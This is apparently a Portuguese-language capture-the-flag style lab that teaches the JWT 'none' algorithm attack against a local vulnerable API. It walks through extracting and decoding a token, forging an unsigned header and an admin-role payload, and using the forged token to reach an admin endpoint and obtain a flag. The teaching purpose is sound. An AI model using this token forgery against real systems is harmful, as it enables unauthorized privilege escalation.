Introdução
JSON Web Tokens (JWT) são um padrão aberto usado para compartilhar informações de segurança entre duas partes: um cliente e um servidor. Cada JWT contém objetos JSON codificados, incluindo um conjunto de declarações (claims). Os JWTs são assinados usando um algoritmo criptográfico para garantir que as declarações não possam ser alteradas após a emissão do token.
Uma das lições mais importantes para iniciantes é que o conteúdo de um JWT geralmente é codificado, não criptografado. Qualquer pessoa que possua o token pode, muitas vezes, ler as declarações. A propriedade de segurança provém da verificação da assinatura, não do sigilo.
No entanto, a implementação inadequada de bibliotecas JWT pode levar a vulnerabilidades de segurança graves. Uma das vulnerabilidades mais infames é o ataque do algoritmo "None". Se um servidor suportar o algoritmo none, um invasor pode modificar o payload do token (como alterar sua função de usuário para 'admin'), definir o algoritmo como none e remover a assinatura. O servidor aceitará então o token forjado como válido.
Neste laboratório, você interagirá com uma API local vulnerável. Você aprenderá como extrair um JWT, decodificar sua estrutura Base64Url, manipular o payload para elevar seus privilégios e explorar a vulnerabilidade do algoritmo 'none' para obter acesso administrativo não autorizado.
Interceptar e Extrair o JWT
Nesta etapa, você interagirá com um servidor de API local em execução na sua máquina. O servidor possui um endpoint de login que emite um JSON Web Token (JWT) para um usuário padrão. Sua primeira tarefa é solicitar este token e salvá-lo para análise posterior.
Um JWT é normalmente enviado no cabeçalho HTTP Authorization como um token Bearer, mas é inicialmente fornecido ao cliente após uma autenticação bem-sucedida. Usaremos a ferramenta de linha de comando curl para simular uma solicitação de login.
Execute o seguinte comando no seu terminal para acessar o endpoint de login:
curl -s http://127.0.0.1:5000/api/login
Você deverá ver uma resposta JSON contendo uma longa sequência de caracteres separados por dois pontos (.). Esta sequência é o JWT.
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}
Para facilitar o trabalho com este token nas etapas subsequentes, vamos extrair apenas a string do token e salvá-la em um arquivo chamado token.txt. Podemos usar o grep com uma expressão regular para analisar a saída JSON.
Execute o seguinte comando para salvar o token:
curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt
Você pode verificar se o token foi salvo corretamente exibindo o conteúdo do arquivo:
cat token.txt
Mantenha este token à mão, pois dissecaremos sua estrutura na próxima etapa.
Decodificar a Estrutura do JWT
Nesta etapa, você dividirá o JWT em seus componentes principais e os decodificará para entender as informações que eles carregam.
Um JWT padrão consiste em três partes separadas por pontos (.). A primeira parte é o Cabeçalho (Header), que contém metadados sobre o token, como o algoritmo de assinatura utilizado (por exemplo, HS256). A segunda parte é o Payload, que contém as declarações ou dados reais, como nome de usuário, função e tempo de expiração. A parte final é a Assinatura (Signature), usada para verificar se o remetente do JWT é quem diz ser e para garantir que a mensagem não foi alterada durante o trajeto.
Essa separação é importante porque muitos ataques a JWT visam a confusão sobre qual parte pode ser alterada com segurança e qual parte deve ser protegida criptograficamente.
O Cabeçalho e o Payload são codificados usando a codificação Base64Url. Isso significa que eles não estão criptografados; qualquer pessoa que intercepte o token pode facilmente decodificar e ler o conteúdo.
É por isso que decisões de autorização sensíveis nunca devem depender apenas das declarações estarem ocultas. Elas devem depender da validação correta da assinatura.
Primeiro, vamos dividir o token em seus componentes de Cabeçalho e Payload e salvá-los em arquivos separados. Usaremos o comando cut para dividir a string pelo delimitador .. Em um JWT, o caractere de ponto separa as três seções, então o cut é uma maneira rápida de separar o token sem precisar de uma ferramenta JWT especial.
## Extrair a primeira parte (Cabeçalho)
cat token.txt | cut -d '.' -f 1 > header.b64
## Extrair a segunda parte (Payload)
cat token.txt | cut -d '.' -f 2 > payload.b64
Agora, vamos decodificar o Cabeçalho. Como a codificação Base64Url às vezes remove os caracteres de preenchimento (=) no final, as ferramentas padrão de decodificação Base64 podem apresentar erros. Para nosso cabeçalho específico, o comprimento está perfeitamente alinhado, então podemos decodificá-lo diretamente usando o comando base64 -d:
cat header.b64 | base64 -d
Você deverá ver uma saída semelhante a esta, indicando que o token usa o algoritmo HS256:
{"alg":"HS256","typ":"JWT"}
Em seguida, vamos decodificar o Payload. A string do payload pode exigir preenchimento para ser decodificada com sucesso pelo utilitário base64 padrão. Podemos adicionar == para garantir que ele seja decodificado corretamente:
echo "$(cat payload.b64)==" | base64 -d
A saída revelará as declarações dentro do token:
{"username":"guest","role":"user"}
Observe que sua função atual está definida como user. Se você tentar acessar o endpoint /api/admin com este token, o acesso será negado. Você pode testar isso executando:
curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin
O servidor responderá com um erro de acesso negado. Nas próximas etapas, manipularemos essas partes decodificadas para contornar essa restrição.
Explorar o Algoritmo 'None'
Nesta etapa, você preparará a primeira parte do nosso ataque modificando o Cabeçalho do JWT para explorar a vulnerabilidade do algoritmo none.
Quando um servidor verifica um JWT, ele verifica o campo alg (algoritmo) no Cabeçalho para saber qual algoritmo criptográfico foi usado para criar a assinatura. Algumas bibliotecas JWT mal configuradas suportam um algoritmo chamado none. Se um invasor alterar o campo alg para none, o servidor pode ignorar completamente o processo de verificação da assinatura. Isso permite que o invasor modifique o payload sem precisar da chave secreta do servidor para gerar uma assinatura válida.
Vamos criar um novo cabeçalho JSON que especifica o algoritmo none.
echo -n '{"alg":"none","typ":"JWT"}' > new_header.json
Agora, precisamos codificar esta nova string JSON de volta para o formato Base64Url. O Base64Url é ligeiramente diferente do Base64 padrão: ele remove quaisquer caracteres de preenchimento = no final, substitui + por - e substitui / por _.
Podemos realizar essa codificação usando uma combinação de comandos padrão do Linux: base64 para a codificação inicial e tr para traduzir e excluir os caracteres específicos.
Execute o seguinte comando para codificar o novo cabeçalho:
cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64
Vamos verificar o conteúdo do nosso cabeçalho recém-codificado:
cat new_header.b64
Você deverá ver a seguinte string Base64Url:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
Esta string representa nosso cabeçalho malicioso. Ao usar este cabeçalho, estamos instruindo o servidor de API vulnerável a não validar a assinatura do nosso token.
Modificar as Declarações do Payload (Função Admin)
Nesta etapa final, você modificará o payload do JWT para elevar seus privilégios, montará o token forjado e o usará para acessar o endpoint administrativo restrito.
Anteriormente, descobrimos que nosso payload continha "role":"user". Queremos alterar isso para "role":"admin".
Primeiro, crie um novo arquivo JSON contendo o payload modificado:
echo -n '{"username":"guest","role":"admin"}' > new_payload.json
Em seguida, assim como fizemos com o cabeçalho, precisamos codificar este novo payload no formato Base64Url. Usaremos a mesma combinação de comandos base64 e tr:
cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64
Você pode visualizar o payload codificado executando:
cat new_payload.b64
Agora temos nosso cabeçalho malicioso (new_header.b64) e nosso payload elevado (new_payload.b64). O último passo é construir o JWT final.
Lembre-se de que o formato de um JWT é Header.Payload.Signature. Como estamos usando o algoritmo none, não há assinatura. No entanto, o servidor ainda espera que o token tenha três partes separadas por pontos. Portanto, nosso token forjado será parecido com Header.Payload.. O ponto final é importante porque mantém o token na estrutura esperada de três partes, mesmo que a parte da assinatura esteja vazia.
Vamos montar o token forjado e salvá-lo em um arquivo:
FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt
Verifique se o token parece correto:
cat forged_token.txt
Finalmente, é hora de testar nosso exploit. Enviaremos uma solicitação para o endpoint restrito /api/admin, passando nosso token forjado no cabeçalho Authorization.
curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin
Se o exploit for bem-sucedido, o servidor aceitará o algoritmo none, ignorará a verificação da assinatura, lerá sua função como admin e concederá acesso. Você deverá ver uma mensagem de sucesso contendo uma flag secreta!
{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}
Resumo
Parabéns! Você concluiu com sucesso o laboratório de Noções Básicas de Manipulação de JWT.
Neste laboratório, você aprendeu como:
- Interceptar e extrair JSON Web Tokens de respostas de API.
- Dissecar a estrutura de um JWT e decodificar seu Cabeçalho e Payload codificados em Base64Url.
- Compreender as graves implicações de segurança da vulnerabilidade do algoritmo 'none'.
- Criar manualmente um JWT malicioso alterando as declarações do payload e contornando a verificação de assinatura para obter elevação de privilégios.
Essas habilidades são fundamentais para entender a segurança de APIs e identificar falhas de autenticação durante testes de penetração ou auditorias de segurança. Neste laboratório, você abusou de um modo de verificação fraco definindo o algoritmo como none. Em outros cenários, os invasores podem obter um resultado semelhante se descobrirem o segredo de assinatura real e gerarem seu próprio token válido. Sempre garanta que suas aplicações imponham uma verificação rigorosa de algoritmos, protejam os segredos de assinatura cuidadosamente e nunca aceitem o algoritmo none em ambientes de produção.



